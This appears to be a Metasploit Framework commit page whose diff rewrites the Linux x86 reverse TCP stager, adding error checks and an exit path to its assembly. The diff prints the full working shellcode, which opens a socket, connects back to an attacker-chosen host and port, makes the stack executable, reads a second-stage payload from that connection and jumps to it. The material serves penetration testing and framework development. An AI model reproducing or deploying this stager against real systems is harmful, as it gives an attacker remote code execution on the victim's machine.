Skip to content

Commit 0830e4a

Browse files
author
Brent Cook
committed
Land rapid7#8503, Linux x86 reverse_tcp error handling
2 parents f0f2189 + 737f745 commit 0830e4a

File tree

3 files changed

+53
-42
lines changed

3 files changed

+53
-42
lines changed

lib/msf/core/payload/linux/reverse_tcp.rb

Lines changed: 50 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -91,49 +91,61 @@ def asm_reverse_tcp(opts={})
9191
encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
9292

9393
asm = %Q^
94-
xor ebx, ebx
95-
mul ebx
96-
push ebx
97-
inc ebx
98-
push ebx
99-
push 0x2
100-
mov al, 0x66
101-
mov ecx, esp
102-
int 0x80 ; sys_socketcall (socket())
103-
104-
xchg eax, edi ; store the socket in edi
105-
pop ebx ; set ebx back to zero
106-
push #{encoded_host}
107-
push #{encoded_port}
108-
mov ecx, esp
109-
push 0x66
110-
pop eax
111-
push eax
112-
push ecx
113-
push edi
114-
mov ecx, esp
115-
inc ebx
116-
int 0x80 ; sys_socketcall (connect())
94+
xor ebx, ebx
95+
mul ebx
96+
push ebx
97+
inc ebx
98+
push ebx
99+
push 0x2
100+
mov al, 0x66
101+
mov ecx, esp
102+
int 0x80 ; sys_socketcall (socket())
103+
test eax, eax
104+
js failed
105+
106+
xchg eax, edi ; store the socket in edi
107+
pop ebx ; set ebx back to zero
108+
push #{encoded_host}
109+
push #{encoded_port}
110+
mov ecx, esp
111+
push 0x66
112+
pop eax
113+
push eax
114+
push ecx
115+
push edi
116+
mov ecx, esp
117+
inc ebx
118+
int 0x80 ; sys_socketcall (connect())
119+
test eax, eax
120+
js failed
117121
^
118122

119123
asm << asm_send_uuid if include_send_uuid
120124

121125
asm << %Q^
122-
mov dl, 0x7
123-
mov ecx, 0x1000
124-
mov ebx, esp
125-
shr ebx, 0xc
126-
shl ebx, 0xc
127-
mov al, 0x7d
128-
int 0x80 ; sys_mprotect
129-
130-
pop ebx
131-
mov ecx, esp
132-
cdq
133-
mov dh, 0xc
134-
mov al, 0x3
135-
int 0x80 ; sys_read (recv())
136-
jmp ecx
126+
mov dl, 0x7
127+
mov ecx, 0x1000
128+
mov ebx, esp
129+
shr ebx, 0xc
130+
shl ebx, 0xc
131+
mov al, 0x7d
132+
int 0x80 ; sys_mprotect
133+
test eax, eax
134+
js failed
135+
136+
pop ebx
137+
mov ecx, esp
138+
cdq
139+
mov dh, 0xc
140+
mov al, 0x3
141+
int 0x80 ; sys_read (recv())
142+
test eax, eax
143+
js failed
144+
jmp ecx
145+
failed:
146+
mov eax, 0x1
147+
mov ebx, 0x1 ; set exit status to 1
148+
int 0x80 ; sys_exit
137149
^
138150

139151
asm
@@ -142,4 +154,3 @@ def asm_reverse_tcp(opts={})
142154
end
143155

144156
end
145-

modules/payloads/stagers/linux/x86/reverse_tcp.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
module MetasploitModule
1111

12-
CachedSize = 71
12+
CachedSize = 99
1313

1414
include Msf::Payload::Stager
1515
include Msf::Payload::Linux::ReverseTcp
@@ -18,7 +18,7 @@ def initialize(info = {})
1818
super(merge_info(info,
1919
'Name' => 'Reverse TCP Stager',
2020
'Description' => 'Connect back to the attacker',
21-
'Author' => [ 'skape', 'egypt' ],
21+
'Author' => [ 'skape', 'egypt', 'tkmru' ],
2222
'License' => MSF_LICENSE,
2323
'Platform' => 'linux',
2424
'Arch' => ARCH_X86,

modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
module MetasploitModule
1111

12-
CachedSize = 114
12+
CachedSize = 142
1313

1414
include Msf::Payload::Stager
1515
include Msf::Payload::Linux::ReverseTcp

0 commit comments

Comments
 (0)